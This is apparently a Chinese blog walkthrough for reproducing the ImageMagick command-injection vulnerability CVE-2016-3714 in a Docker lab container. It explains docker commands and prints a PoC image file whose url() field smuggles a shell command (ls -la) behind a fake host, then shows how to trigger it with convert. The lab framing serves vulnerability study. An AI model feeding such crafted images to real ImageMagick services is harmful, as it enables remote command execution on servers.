您的位置:首页 > 其它

体验ImageMagick 命令执行漏洞(CVE-2016–3714)的PoC

2016-09-09 01:06 381 查看
首先安装好
docker


环境地址

GitHub地址:

https://github.com/Medicean/VulApps

镜像地址:

https://hub.docker.com/r/medicean/vulapps/

镜像的各种Tag:

https://hub.docker.com/r/medicean/vulapps/tags/



环境搭建

获取镜像

$ docker pull medicean/vulapps:i_imagemagick_1


其中,
medicean/vulapps
是镜像名,后面冒号接具体的
Tag


运行镜像

$ docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1


run
命令是
create
命令和
start
命令的结合。类似git的
pull
命令是
fetch
merge
命令的结合。

-d 表示
daemon
,作为后台守护进程运行。

-p 表示
port
8000:80
前者为默认的本地(127.0.0.1)端口,后者为镜像的端口。

–name=i_imagemagick_1 ,显式指定容器(Container)的名字,虽然不显式指定,docker也会帮你指定一个名字(细心的可以发现docker指定的名字还蛮有意思的:) )。

然后

$ docker ps -a


显示所有的docker容器,以及它们的状态。

容器运行起来之后,使用

$ docker exec i_imagemagick_1 cat /poc.png


命令让指定的容器执行指定的命令

这里是指定了
i_imagemagick_1
这个容器(也可以用它的完整Id或者前4位数字代替),打印出根目录的
poc.png
文件的内容

$ cat /poc.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context


这个
/poc.png
就是PoC!

当在容器shell里执行时

$ convert /poc.png 1.png


或通过物理机执行

$ docker exec i_imagemagick_1 convert /poc.png 1.png


漏洞触发。

搭建好环境之后访问
127.0.0.1:8000
。这里8000映射了镜像里的80端口,用于HTTP访问具体的说明信息,文件位于
/var/www/html/index.php




漏洞利用



后门——poc.php

进入容器的交互式shell

$ docker run -t -i medicean/vulapps:i_imagemagick_1  "/bin/bash"


之后,查看
poc.php


位于
/var/www/html/poc.php




利用——poc.py

https://github.com/Medicean/VulApps/blob/master/i/imagemagick/1/poc.py

附录

Docker环境搭建:

https://docs.docker.com/engine/installation

Docker中文指南:

http://www.heblug.org/chinese_docker/userguide/dockerizing.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  imagemagick 漏洞